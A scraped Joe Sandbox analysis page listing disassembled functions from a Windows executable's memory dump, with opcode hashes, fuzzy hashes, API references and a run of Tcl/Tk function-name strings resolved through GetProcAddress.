Opcode ID: 55bfb0711aaa24fc3f3c49a17a094aed8874a1becd77c64581317e125ecb5b45
Instruction ID: 1eb3bc68519da87eb346c20ce2c6396a99b86c014beeeb67f7da9268108ca55a
Opcode Fuzzy Hash: 55bfb0711aaa24fc3f3c49a17a094aed8874a1becd77c64581317e125ecb5b45
Instruction Fuzzy Hash: 5F51F891F0876241FA64AB2F56011FA5298AF44FE6F9840B5DF0EC77C6EE3CE4428284

Function 00007FF6BAF23480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6BAF23484

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: e94e66f3e57608cdad05ce95da329d5805b95b61646ab41a524bc499f7e95a52
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: 82B09220E07B42C2EA092B296C8225822A87F58702F9802B8CA1C82330DE2C31E55700

Function 00007FF6BAF135A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: 1e6158fc76c15bb445b9b7350de0142690e0cdabaed41a9850b78db40f2dbb4a
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: B4D1E2A6A0866286EBA8CF2D80406BD27A8EF45B99F5403B5CF0D877D5DF3DE845C740

Function 00007FF6BAF09800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: 5e72f275767c30e84f6b097b2f2c24e3710d35ef50a05e8686c869bf35d1066c
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: DFC1AE762181E08BD299EB29E8794BA73D1F78930EB95406BEF87477C5CB3CA414DB10

Function 00007FF6BAF12C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: d41f86c818b637497cbd7682b3b38cfa6f680dfff5ededf6880921eae6a00577
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: 43B18CB2A087A585E7688F6DC0502BC7BA8FB49B49F2401B5CF4E87395CF39D441D744

Function 00007FF6BAF1E570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: c531dd9d32b222655fc85febcbf4058adbf438f79b2054d1f520e9d3453d2331
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: B481E0B2A1839186EB74CB1DE4403BA7A96FB45794F504279DF9D83B89DF3DE4408B00

Function 00007FF6BAF26418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 403f67b08c5d8b9127b9d27d37b93e2a1e0a746a19683c5483168a42cc689f1f
Instruction ID: 0c3a8c349b5933815cadf5a61773517ed687c7fda88a48f073c9733f21a65a76
Opcode Fuzzy Hash: 403f67b08c5d8b9127b9d27d37b93e2a1e0a746a19683c5483168a42cc689f1f
Instruction Fuzzy Hash: EC61F662E083D246F7B48EAD94516BD6A88EF40762F1402B9FF5DC76C5EE7DE8408B00

Function 00007FF6BAF11944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: b2dbd12ce1e7ce4cce733a9c7e50eb2bb13645d16ee6ae8a8ce9b78c23ede8db
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 7951A6B6A1866186E7248B2DC0403B937A8EB44F69F24417ACF8D97794DF3AE853C744

Function 00007FF6BAF12164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: dff7fca45bc0c525d6e8a9bc7b2258d929b6260cbfb778f15953bda55e07a2d9
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 7A5181B6A186A186E7248B6DC4402BC33A5FB58B69F284171CF8D97794CF3AE853D740

Function 00007FF6BAF11D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 3876663eca6e0e2ee928294aca9cc59a41f27c0d47aa776142074e3afc54df4d
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 8A51A6B6A1866582E7248B2DC0407B873A4EB55F69F24417ACF4D877D4CF3AE853C784

Function 00007FF6BAF11B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: c912c4c5437d41644235f6f95112d983e276278b604201d9d2ae88aefc74bb03
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 3E51A3B6A1867186E7248F2DC0803B837A5EB45B59F24517ACF8C97794DF3AE883C744

Function 00007FF6BAF11740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 23d8c69a5333254ebaf704077d6169649e0b6fac27121e5a92f60190a45ef5a4
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 4651A6B6A1867585E7348B2DC0402B877A5EB45BA9F288176CF4C97794CF3AE843C784

Function 00007FF6BAF11F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 11cb9705bf289c3de32023a2ee39662abffdb9a76a5eb5024c3aee9d7c3c69f9
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: C35191B6A1866586E7248F2DC0443B837A8EB44B59F244176CF4D977A9DF3AE843C780

Function 00007FF6BAF15D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: a82134fc25b4e15edd9a2afb04b0e61f4abf8a047c4598acaa7750c2b99b2731
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 8841A3E2C0D76A05E9A9891C4508AF87788DF22BA2D5856F8DF9D973D3CD0DB597C300

Function 00007FF6BAF19EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: 621c673185736db6426e5d5ae3a251e5a092726c175b1bb53535b3991ec30753
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: 2D4114A2714A5586EF04CF2ADA142B9A3A5FB48FC0B499032EF4DD7B54DE3CC0428700

Function 00007FF6BAF180E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49dafdde587b74df641e9f58930481105540400fc02ea310de9095416dfeb72
Instruction ID: 2f6ff9e9c6d990616efd6506172f815df3e5ad1fb2a43975b6f88d9fc92acf71
Opcode Fuzzy Hash: d49dafdde587b74df641e9f58930481105540400fc02ea310de9095416dfeb72
Instruction Fuzzy Hash: DC31E372B08B9241E7649F29A5401BE7AD9AF84BD1F144278EF4DA3BD5DF3CD4018744

Function 00007FF6BAF29570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: 54b6dcdc461718414de3403036294648d65da5c2580a147acfd5070f521efe55
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 60F06272B182968BDBA88F6DA84267977D4F7083C1F809179EA8DC3B04DE3CD0618F04

Function 00007FF6BAF0D30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: 7ec84580ae6bcce9e14e1207be6719eb8c95e9df762a9136ee2429adc8866b32
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: 78A00231D0CE4AD0E6598F08E8900B52338FB54342B8000B5FE0DD30F09F3CA404D300

Function 00007FF6BAF076C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6BAF076D7
GetLastError.KERNEL32 ref: 00007FF6BAF076E9
GetProcAddress.KERNEL32 ref: 00007FF6BAF07725
GetLastError.KERNEL32 ref: 00007FF6BAF07737
GetProcAddress.KERNEL32 ref: 00007FF6BAF07750
GetLastError.KERNEL32 ref: 00007FF6BAF07762
GetProcAddress.KERNEL32 ref: 00007FF6BAF0777B
GetLastError.KERNEL32 ref: 00007FF6BAF0778D
GetProcAddress.KERNEL32 ref: 00007FF6BAF077A9
GetLastError.KERNEL32 ref: 00007FF6BAF077BB
GetProcAddress.KERNEL32 ref: 00007FF6BAF077D7
GetLastError.KERNEL32 ref: 00007FF6BAF077E9
GetProcAddress.KERNEL32 ref: 00007FF6BAF07805
GetLastError.KERNEL32 ref: 00007FF6BAF07817
GetProcAddress.KERNEL32 ref: 00007FF6BAF07833
GetLastError.KERNEL32 ref: 00007FF6BAF07845
GetProcAddress.KERNEL32 ref: 00007FF6BAF07861
GetLastError.KERNEL32 ref: 00007FF6BAF07873

Strings

Tcl_SetVar2Ex, xrefs: 00007FF6BAF07B37, 00007FF6BAF07B59
Tcl_NewByteArrayObj, xrefs: 00007FF6BAF07B09, 00007FF6BAF07B2B
Tcl_EvalEx, xrefs: 00007FF6BAF07BC1, 00007FF6BAF07BE3
Tk_GetNumMainWindows, xrefs: 00007FF6BAF07CA7, 00007FF6BAF07CC9
Tcl_GetObjResult, xrefs: 00007FF6BAF07B65, 00007FF6BAF07B87
Tcl_JoinThread, xrefs: 00007FF6BAF07885, 00007FF6BAF078A7
Tcl_MutexUnlock, xrefs: 00007FF6BAF078E1, 00007FF6BAF07903
Tcl_FindExecutable, xrefs: 00007FF6BAF07746, 00007FF6BAF07768
Tcl_CreateObjCommand, xrefs: 00007FF6BAF07A7F, 00007FF6BAF07AA1
Tcl_Free, xrefs: 00007FF6BAF07C4B, 00007FF6BAF07C6D
Tcl_EvalFile, xrefs: 00007FF6BAF07B93, 00007FF6BAF07BB5
Tcl_CreateInterp, xrefs: 00007FF6BAF0771B, 00007FF6BAF0773D
Tcl_NewStringObj, xrefs: 00007FF6BAF07ADB, 00007FF6BAF07AFD
Tcl_Init, xrefs: 00007FF6BAF076D0, 00007FF6BAF076EF
Tcl_Finalize, xrefs: 00007FF6BAF0779F, 00007FF6BAF077C1
Tcl_MutexFinalize, xrefs: 00007FF6BAF0790F, 00007FF6BAF07931
Tk_Init, xrefs: 00007FF6BAF07C79, 00007FF6BAF07C9B
GetProcAddress, xrefs: 00007FF6BAF076FF
Tcl_ConditionWait, xrefs: 00007FF6BAF07999, 00007FF6BAF079BB
Tcl_CreateThread, xrefs: 00007FF6BAF07829, 00007FF6BAF0784B
Tcl_ThreadAlert, xrefs: 00007FF6BAF079F5, 00007FF6BAF07A17
Tcl_DeleteInterp, xrefs: 00007FF6BAF077FB, 00007FF6BAF0781D
Tcl_Alloc, xrefs: 00007FF6BAF07C1D, 00007FF6BAF07C3F
Failed to get address for %hs, xrefs: 00007FF6BAF076F8
Tcl_GetString, xrefs: 00007FF6BAF07AAD, 00007FF6BAF07ACF
Tcl_EvalObjv, xrefs: 00007FF6BAF07BEF, 00007FF6BAF07C11
Tcl_SetVar2, xrefs: 00007FF6BAF07A51, 00007FF6BAF07A73
Tcl_ConditionFinalize, xrefs: 00007FF6BAF0793D, 00007FF6BAF0795F
Tcl_GetCurrentThread, xrefs: 00007FF6BAF07857, 00007FF6BAF07879
Tcl_ConditionNotify, xrefs: 00007FF6BAF0796B, 00007FF6BAF0798D
Tcl_ThreadQueueEvent, xrefs: 00007FF6BAF079C7, 00007FF6BAF079E9
Tcl_FinalizeThread, xrefs: 00007FF6BAF077CD, 00007FF6BAF077EF
Tcl_MutexLock, xrefs: 00007FF6BAF078B3, 00007FF6BAF078D5
Tcl_DoOneEvent, xrefs: 00007FF6BAF07771, 00007FF6BAF07793
Tcl_GetVar2, xrefs: 00007FF6BAF07A23, 00007FF6BAF07A45

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
